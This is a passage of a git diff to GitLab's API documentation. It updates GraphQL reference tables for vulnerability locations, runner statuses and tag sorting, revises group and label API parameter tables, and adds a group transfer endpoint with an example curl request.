| <a id="vulnerabilityconfirmedby"></a>`confirmedBy` | [`UserCore`](#usercore) | User that confirmed the vulnerability. |
| <a id="vulnerabilitydescription"></a>`description` | [`String`](#string) | Description of the vulnerability. |
+| <a id="vulnerabilitydescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| <a id="vulnerabilitydetails"></a>`details` | [`[VulnerabilityDetail!]!`](#vulnerabilitydetail) | Details of the vulnerability. |
| <a id="vulnerabilitydetectedat"></a>`detectedAt` | [`Time!`](#time) | Timestamp of when the vulnerability was first detected. |
| <a id="vulnerabilitydiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) |
@@ -15505,6 +15661,19 @@ Represents a link related to a vulnerability.
| <a id="vulnerabilitylinkname"></a>`name` | [`String`](#string) | Name of the link. |
| <a id="vulnerabilitylinkurl"></a>`url` | [`String!`](#string) | URL of the link. |
+### `VulnerabilityLocationClusterImageScanning`
+
+Represents the location of a vulnerability found by a cluster image scan.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="vulnerabilitylocationclusterimagescanningdependency"></a>`dependency` | [`VulnerableDependency`](#vulnerabledependency) | Dependency containing the vulnerability. |
+| <a id="vulnerabilitylocationclusterimagescanningimage"></a>`image` | [`String`](#string) | Name of the vulnerable container image. |
+| <a id="vulnerabilitylocationclusterimagescanningkubernetesresource"></a>`kubernetesResource` | [`VulnerableKubernetesResource`](#vulnerablekubernetesresource) | Kubernetes resource which uses the vulnerable container image. |
+| <a id="vulnerabilitylocationclusterimagescanningoperatingsystem"></a>`operatingSystem` | [`String`](#string) | Operating system that runs on the vulnerable container image. |
+
### `VulnerabilityLocationContainerScanning`
Represents the location of a vulnerability found by a container security scan.
@@ -15655,6 +15824,21 @@ Represents a vulnerable dependency. Used in vulnerability location data.
| <a id="vulnerabledependencypackage"></a>`package` | [`VulnerablePackage`](#vulnerablepackage) | Package associated with the vulnerable dependency. |
| <a id="vulnerabledependencyversion"></a>`version` | [`String`](#string) | Version of the vulnerable dependency. |
+### `VulnerableKubernetesResource`
+
+Represents a vulnerable Kubernetes resource. Used in vulnerability location data.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="vulnerablekubernetesresourceagent"></a>`agent` | [`ClusterAgent`](#clusteragent) | Kubernetes Agent which performed the scan. |
+| <a id="vulnerablekubernetesresourceclusterid"></a>`clusterId` | [`ClustersClusterID`](#clustersclusterid) | ID of the Cluster integration which was used to perform the scan. |
+| <a id="vulnerablekubernetesresourcecontainername"></a>`containerName` | [`String!`](#string) | Name of the container that had its image scanned. |
+| <a id="vulnerablekubernetesresourcekind"></a>`kind` | [`String!`](#string) | Kind of the Kubernetes resource. |
+| <a id="vulnerablekubernetesresourcename"></a>`name` | [`String!`](#string) | Name of the Kubernetes resource. |
+| <a id="vulnerablekubernetesresourcenamespace"></a>`namespace` | [`String!`](#string) | Kubernetes namespace which the resource resides in. |
+
### `VulnerablePackage`
Represents a vulnerable package. Used in vulnerability dependency data.
@@ -15894,11 +16078,13 @@ Values for sorting runners.
| Value | Description |
| ----- | ----------- |
-| <a id="cirunnerstatusactive"></a>`ACTIVE` | A runner that is not paused. |
-| <a id="cirunnerstatusnot_connected"></a>`NOT_CONNECTED` | A runner that has never contacted this instance. |
-| <a id="cirunnerstatusoffline"></a>`OFFLINE` | A runner that has not contacted this instance within the last 2 hours. |
-| <a id="cirunnerstatusonline"></a>`ONLINE` | A runner that contacted this instance within the last 2 hours. |
-| <a id="cirunnerstatuspaused"></a>`PAUSED` | A runner that is paused. |
+| <a id="cirunnerstatusactive"></a>`ACTIVE` **{warning-solid}** | **Deprecated** in 14.6. Use CiRunnerType.active instead. |
+| <a id="cirunnerstatusnever_contacted"></a>`NEVER_CONTACTED` | Runner that has never contacted this instance. Set legacyMode to null to utilize this value. Will replace NOT_CONNECTED starting in 15.0. |
+| <a id="cirunnerstatusnot_connected"></a>`NOT_CONNECTED` **{warning-solid}** | **Deprecated** in 14.6. Use NEVER_CONTACTED instead. NEVER_CONTACTED will have a slightly different scope starting in 15.0, with STALE being returned instead after 3 months of no contact. |
+| <a id="cirunnerstatusoffline"></a>`OFFLINE` **{warning-solid}** | **Deprecated** in 14.6. This field will have a slightly different scope starting in 15.0, with STALE being returned after a certain period offline. |
+| <a id="cirunnerstatusonline"></a>`ONLINE` | Runner that contacted this instance within the last 2 hours. |
+| <a id="cirunnerstatuspaused"></a>`PAUSED` **{warning-solid}** | **Deprecated** in 14.6. Use CiRunnerType.active instead. |
+| <a id="cirunnerstatusstale"></a>`STALE` | Runner that has not contacted this instance within the last 3 months. Only available if legacyMode is null. Will be a possible return value starting in 15.0. |
### `CiRunnerType`
@@ -16014,6 +16200,15 @@ Status of a container repository.
| <a id="containerrepositorystatusdelete_failed"></a>`DELETE_FAILED` | Delete Failed status. |
| <a id="containerrepositorystatusdelete_scheduled"></a>`DELETE_SCHEDULED` | Delete Scheduled status. |
+### `ContainerRepositoryTagSort`
+
+Values for sorting tags.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="containerrepositorytagsortname_asc"></a>`NAME_ASC` | Ordered by name in ascending order. |
+| <a id="containerrepositorytagsortname_desc"></a>`NAME_DESC` | Ordered by name in descending order. |
+
### `DastProfileCadenceUnit`
Unit for the duration of Dast Profile Cadence.
@@ -17021,7 +17216,6 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumcanary_deployment"></a>`CANARY_DEPLOYMENT` | Callout feature name for canary_deployment. |
| <a id="usercalloutfeaturenameenumcloud_licensing_subscription_activation_banner"></a>`CLOUD_LICENSING_SUBSCRIPTION_ACTIVATION_BANNER` | Callout feature name for cloud_licensing_subscription_activation_banner. |
| <a id="usercalloutfeaturenameenumcluster_security_warning"></a>`CLUSTER_SECURITY_WARNING` | Callout feature name for cluster_security_warning. |
-| <a id="usercalloutfeaturenameenumcustomize_homepage"></a>`CUSTOMIZE_HOMEPAGE` | Callout feature name for customize_homepage. |
| <a id="usercalloutfeaturenameenumeoa_bronze_plan_banner"></a>`EOA_BRONZE_PLAN_BANNER` | Callout feature name for eoa_bronze_plan_banner. |
| <a id="usercalloutfeaturenameenumfeature_flags_new_version"></a>`FEATURE_FLAGS_NEW_VERSION` | Callout feature name for feature_flags_new_version. |
| <a id="usercalloutfeaturenameenumgcp_signup_offer"></a>`GCP_SIGNUP_OFFER` | Callout feature name for gcp_signup_offer. |
@@ -17048,6 +17242,7 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumtwo_factor_auth_recovery_settings_check"></a>`TWO_FACTOR_AUTH_RECOVERY_SETTINGS_CHECK` | Callout feature name for two_factor_auth_recovery_settings_check. |
| <a id="usercalloutfeaturenameenumultimate_trial"></a>`ULTIMATE_TRIAL` | Callout feature name for ultimate_trial. |
| <a id="usercalloutfeaturenameenumunfinished_tag_cleanup_callout"></a>`UNFINISHED_TAG_CLEANUP_CALLOUT` | Callout feature name for unfinished_tag_cleanup_callout. |
+| <a id="usercalloutfeaturenameenumverification_reminder"></a>`VERIFICATION_REMINDER` | Callout feature name for verification_reminder. |
| <a id="usercalloutfeaturenameenumweb_ide_alert_dismissed"></a>`WEB_IDE_ALERT_DISMISSED` | Callout feature name for web_ide_alert_dismissed. |
| <a id="usercalloutfeaturenameenumweb_ide_ci_environments_guidance"></a>`WEB_IDE_CI_ENVIRONMENTS_GUIDANCE` | Callout feature name for web_ide_ci_environments_guidance. |
@@ -17777,6 +17972,13 @@ One of:
- [`Issue`](#issue)
- [`MergeRequest`](#mergerequest)
+#### `JobNeedUnion`
+
+One of:
+
+- [`CiBuildNeed`](#cibuildneed)
+- [`CiJob`](#cijob)
+
#### `NoteableType`
Represents an object that supports notes.
@@ -17825,6 +18027,7 @@ Represents a vulnerability location. The fields with data will depend on the vul
One of:
+- [`VulnerabilityLocationClusterImageScanning`](#vulnerabilitylocationclusterimagescanning)
- [`VulnerabilityLocationContainerScanning`](#vulnerabilitylocationcontainerscanning)
- [`VulnerabilityLocationCoverageFuzzing`](#vulnerabilitylocationcoveragefuzzing)
- [`VulnerabilityLocationDast`](#vulnerabilitylocationdast)
@@ -18288,9 +18491,11 @@ Field that are available while modifying the custom mapping attributes for an HT
| <a id="boardissueinputassigneeusername"></a>`assigneeUsername` | [`[String]`](#string) | Filter by assignee username. |
| <a id="boardissueinputassigneewildcardid"></a>`assigneeWildcardId` | [`AssigneeWildcardId`](#assigneewildcardid) | Filter by assignee wildcard. Incompatible with assigneeUsername. |
| <a id="boardissueinputauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. |
+| <a id="boardissueinputconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter by confidentiality. |
| <a id="boardissueinputepicid"></a>`epicId` | [`EpicID`](#epicid) | Filter by epic ID. Incompatible with epicWildcardId. |
| <a id="boardissueinputepicwildcardid"></a>`epicWildcardId` | [`EpicWildcardId`](#epicwildcardid) | Filter by epic ID wildcard. Incompatible with epicId. |
| <a id="boardissueinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example `["1", "2"]`. |
+| <a id="boardissueinputiterationcadenceid"></a>`iterationCadenceId` | [`[IterationsCadenceID!]`](#iterationscadenceid) | Filter by a list of iteration cadence IDs. |
| <a id="boardissueinputiterationid"></a>`iterationId` | [`[IterationID!]`](#iterationid) | Filter by a list of iteration IDs. Incompatible with iterationWildcardId. |
| <a id="boardissueinputiterationtitle"></a>`iterationTitle` | [`String`](#string) | Filter by iteration title. |
| <a id="boardissueinputiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by iteration ID wildcard. |
@@ -18413,6 +18618,7 @@ Input type for DastSiteProfile authentication.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="epicfiltersauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. |
+| <a id="epicfiltersconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter by confidentiality. |
| <a id="epicfilterslabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. |
| <a id="epicfiltersmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. Wildcard values "NONE" and "ANY" are supported. |
| <a id="epicfiltersnot"></a>`not` | [`NegatedEpicBoardIssueInput`](#negatedepicboardissueinput) | Negated epic arguments. |
diff --git a/doc/api/graphql/removed_items.md b/doc/api/graphql/removed_items.md
index 0048148ab11..f70add0de45 100644
--- a/doc/api/graphql/removed_items.md
+++ b/doc/api/graphql/removed_items.md
@@ -1,10 +1,10 @@
---
-stage: Plan
-group: Product Planning
+stage: Ecosystem
+group: Integrations
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GraphQL API removed items
+# GraphQL API removed items **(FREE)**
GraphQL is a versionless API, unlike the REST API.
Occasionally, items have to be updated or removed from the GraphQL API.
@@ -38,6 +38,8 @@ Fields [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63293) in
## GitLab 13.6
+Prior to GitLab 14.0, deprecated items could be removed in `XX.6` releases.
+
Fields [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44866) in GitLab 13.6:
| Field name | GraphQL type | Deprecated in | Use instead |
diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md
index 212a62516f1..dbdc2c3669e 100644
--- a/doc/api/group_import_export.md
+++ b/doc/api/group_import_export.md
@@ -4,7 +4,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Group Import/Export API **(FREE)**
+# Group import/export API **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20353) in GitLab 12.8.
diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md
index 04a619c8fa9..96b8a162e34 100644
--- a/doc/api/group_labels.md
+++ b/doc/api/group_labels.md
@@ -77,7 +77,7 @@ GET /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
| `include_descendant_groups` | boolean | no | Include descendant groups. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 |
@@ -152,7 +152,7 @@ PUT /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `new_name` | string | no | The new name of the label |
| `color` | string | no | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
@@ -193,7 +193,7 @@ DELETE /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -214,7 +214,7 @@ POST /groups/:id/labels/:label_id/subscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -250,7 +250,7 @@ POST /groups/:id/labels/:label_id/unsubscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
diff --git a/doc/api/groups.md b/doc/api/groups.md
index 5faa63585c1..13dea42f3c6 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -275,24 +275,24 @@ GET /groups/:id/projects
Parameters:
-| Attribute | Type | Required | Description |
-| ----------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
-| `archived` | boolean | no | Limit by archived status |
-| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
-| `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, `similarity` (1), or `last_activity_at` fields. Default is `created_at` |
-| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` |
-| `search` | string | no | Return list of authorized projects matching the search criteria |
-| `simple` | boolean | no | Return only the ID, URL, name, and path of each project |
-| `owned` | boolean | no | Limit by projects owned by the current user |
-| `starred` | boolean | no | Limit by projects starred by the current user |
-| `with_issues_enabled` | boolean | no | Limit by projects with issues feature enabled. Default is `false` |
-| `with_merge_requests_enabled` | boolean | no | Limit by projects with merge requests feature enabled. Default is `false` |
-| `with_shared` | boolean | no | Include projects shared to this group. Default is `true` |
-| `include_subgroups` | boolean | no | Include projects in subgroups of this group. Default is `false` |
-| `min_access_level` | integer | no | Limit to projects where current user has at least this [access level](members.md#valid-access-levels) |
-| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) |
-| `with_security_reports` | boolean | no | **(ULTIMATE)** Return only projects that have security reports artifacts present in any of their builds. This means "projects with security reports enabled". Default is `false` |
+| Attribute | Type | Required | Description |
+| -------------------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `archived` | boolean | no | Limit by archived status |
+| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
+| `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, `similarity` (1), or `last_activity_at` fields. Default is `created_at` |
+| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` |
+| `search` | string | no | Return list of authorized projects matching the search criteria |
+| `simple` | boolean | no | Return only the ID, URL, name, and path of each project |
+| `owned` | boolean | no | Limit by projects owned by the current user |
+| `starred` | boolean | no | Limit by projects starred by the current user |
+| `with_issues_enabled` | boolean | no | Limit by projects with issues feature enabled. Default is `false` |
+| `with_merge_requests_enabled` | boolean | no | Limit by projects with merge requests feature enabled. Default is `false` |
+| `with_shared` | boolean | no | Include projects shared to this group. Default is `true` |
+| `include_subgroups` | boolean | no | Include projects in subgroups of this group. Default is `false` |
+| `min_access_level` | integer | no | Limit to projects where current user has at least this [access level](members.md#valid-access-levels) |
+| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) |
+| `with_security_reports` **(ULTIMATE)** | boolean | no | Return only projects that have security reports artifacts present in any of their builds. This means "projects with security reports enabled". Default is `false` |
1. Order by similarity: Orders the results by a similarity score calculated from the provided `search`
URL parameter. When using `order_by=similarity`, the `sort` parameter is ignored. When the `search`
@@ -783,38 +783,38 @@ POST /groups
Parameters:
-| Attribute | Type | Required | Description |
-| ------------------------------------ | ------- | -------- | ----------- |
-| `name` | string | yes | The name of the group. |
-| `path` | string | yes | The path of the group. |
-| `description` | string | no | The group's description. |
-| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
-| `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. |
-| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
-| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
-| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
-| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (Maintainers), or `developer` (Developers + Maintainers). |
-| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
-| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (Maintainers). |
-| `emails_disabled` | boolean | no | Disable email notifications |
-| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
-| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
-| `lfs_enabled` | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
-| `request_access_enabled` | boolean | no | Allow users to request member access. |
-| `parent_id` | integer | no | The parent group ID for creating nested group. |
-| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). Default to the global level default branch protection setting. |
-| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
-| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
+| Attribute | Type | Required | Description |
+| ------------------------------------------------------- | ------- | -------- | ----------- |
+| `name` | string | yes | The name of the group. |
+| `path` | string | yes | The path of the group. |
+| `description` | string | no | The group's description. |
+| `membership_lock` **(PREMIUM)** | boolean | no | Prevent adding new members to projects within this group. |
+| `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. |
+| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
+| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
+| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
+| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (users with the Maintainer role), or `developer` (users with the Developer or Maintainer role). |
+| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
+| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (users with the Maintainer role). |
+| `emails_disabled` | boolean | no | Disable email notifications |
+| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
+| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
+| `lfs_enabled` | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
+| `request_access_enabled` | boolean | no | Allow users to request member access. |
+| `parent_id` | integer | no | The parent group ID for creating nested group. |
+| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). Default to the global level default branch protection setting. |
+| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
+| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
### Options for `default_branch_protection`
-The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table:
+The `default_branch_protection` attribute determines whether users with the Developer or [Maintainer role](../user/permissions.md) can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table:
| Value | Description |
|-------|-------------------------------------------------------------------------------------------------------------|
-| `0` | No protection. Developers and maintainers can: <br>- Push new commits<br>- Force push changes<br>- Delete the branch |
-| `1` | Partial protection. Developers and maintainers can: <br>- Push new commits |
-| `2` | Full protection. Only maintainers can: <br>- Push new commits |
+| `0` | No protection. Users with the Developer or Maintainer role can: <br>- Push new commits<br>- Force push changes<br>- Delete the branch |
+| `1` | Partial protection. Users with the Developer or Maintainer role can: <br>- Push new commits |
+| `2` | Full protection. Only users with the Maintainer role can: <br>- Push new commits |
## New Subgroup
@@ -850,6 +850,32 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
"https://gitlab.example.com/api/v4/groups/4/projects/56"
```
+## Transfer a group to a new parent group / Turn a subgroup to a top-level group
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23831) in GitLab 14.6.
+
+Transfer a group to a new parent group or turn a subgroup to a top-level group. Available to administrators and users:
+
+- With the Owner role for the group to transfer.
+- With permission to [create a subgroup](../user/group/subgroups/index.md#creating-a-subgroup) in the new parent group if transferring a group.
+- With [permission to create a top-level group](../administration/user_settings.md#prevent-users-from-creating-top-level-groups) if turning a subgroup into a top-level group.
+
+```plaintext
+POST /groups/:id/transfer
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+| ------------ | -------------- | -------- | ----------- |
+| `id` | integer | yes | ID of the group to transfer. |
+| `group_id` | integer | no | ID of the new parent group. When not specified, the group to transfer is instead turned into a top-level group. |
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/4/transfer?group_id=7"
+```
+
## Update group
Updates the project group. Only available to group owners and administrators.
@@ -858,32 +884,32 @@ Updates the project group. Only available to group owners and administrators.
PUT /groups/:id
```
-| Attribute | Type | Required | Description |
-| ------------------------------------------ | ------- | -------- | ----------- |
-| `id` | integer | yes | The ID of the group. |
-| `name` | string | no | The name of the group. |
-| `path` | string | no | The path of the group. |
-| `description` | string | no | The description of the group. |
-| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
-| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
-| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
-| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
-| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
-| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (Maintainers), or `developer` (Developers + Maintainers). |
-| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
-| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (Maintainers). |
-| `emails_disabled` | boolean | no | Disable email notifications |
-| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
-| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
-| `lfs_enabled` (optional) | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
-| `request_access_enabled` | boolean | no | Allow users to request member access. |
-| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). |
-| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from. |
-| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
-| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
-| `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces
-| `shared_runners_setting` | string | no | See [Options for `shared_runners_setting`](#options-for-shared_runners_setting). Enable or disable shared runners for a group's subgroups and projects. |
-| `prevent_sharing_groups_outside_hierarchy` | boolean | no | See [Prevent group sharing outside the group hierarchy](../user/group/index.md#prevent-group-sharing-outside-the-group-hierarchy). This attribute is only available on top-level groups. [Introduced in GitLab 14.1](https://gitlab.com/gitlab-org/gitlab/-/issues/333721) |
+| Attribute | Type | Required | Description |
+| ------------------------------------------------------- | ------- | -------- | ----------- |
+| `id` | integer | yes | The ID of the group. |
+| `name` | string | no | The name of the group. |
+| `path` | string | no | The path of the group. |
+| `description` | string | no | The description of the group. |
+| `membership_lock` **(PREMIUM)** | boolean | no | Prevent adding new members to projects within this group. |
+| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
+| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
+| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
+| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
+| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (users with the Maintainer role), or `developer` (users with the Developer or Maintainer role). |
+| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
+| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (users with the Maintainer role). |
+| `emails_disabled` | boolean | no | Disable email notifications |
+| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
+| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
+| `lfs_enabled` (optional) | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
+| `request_access_enabled` | boolean | no | Allow users to request member access. |
+| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). |
+| `file_template_project_id` **(PREMIUM)** | integer | no | The ID of a project to load custom file templates from. |
+| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
+| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
+| `prevent_forking_outside_group` **(PREMIUM)** | boolean | no | When enabled, users can **not** fork projects from this group to external namespaces
+| `shared_runners_setting` | string | no | See [Options for `shared_runners_setting`](#options-for-shared_runners_setting). Enable or disable shared runners for a group's subgroups and projects. |
+| `prevent_sharing_groups_outside_hierarchy` | boolean | no | See [Prevent group sharing outside the group hierarchy](../user/group/index.md#prevent-group-sharing-outside-the-group-hierarchy). This attribute is only available on top-level groups. [Introduced in GitLab 14.1](https://gitlab.com/gitlab-org/gitlab/-/issues/333721) |
NOTE:
The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
diff --git a/doc/api/import.md b/doc/api/import.md
index 18c0eb04fff..1baea5d1500 100644
--- a/doc/api/import.md
+++ b/doc/api/import.md
@@ -4,7 +4,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import API
+# Import API **(FREE)**
## Import repository from GitHub
diff --git a/doc/api/index.md b/doc/api/index.md
index 7b599b6ae0a..a4e7a893618 100644
--- a/doc/api/index.md
+++ b/doc/api/index.md
@@ -8,10 +8,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Use the GitLab APIs to automate GitLab.
-You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml),
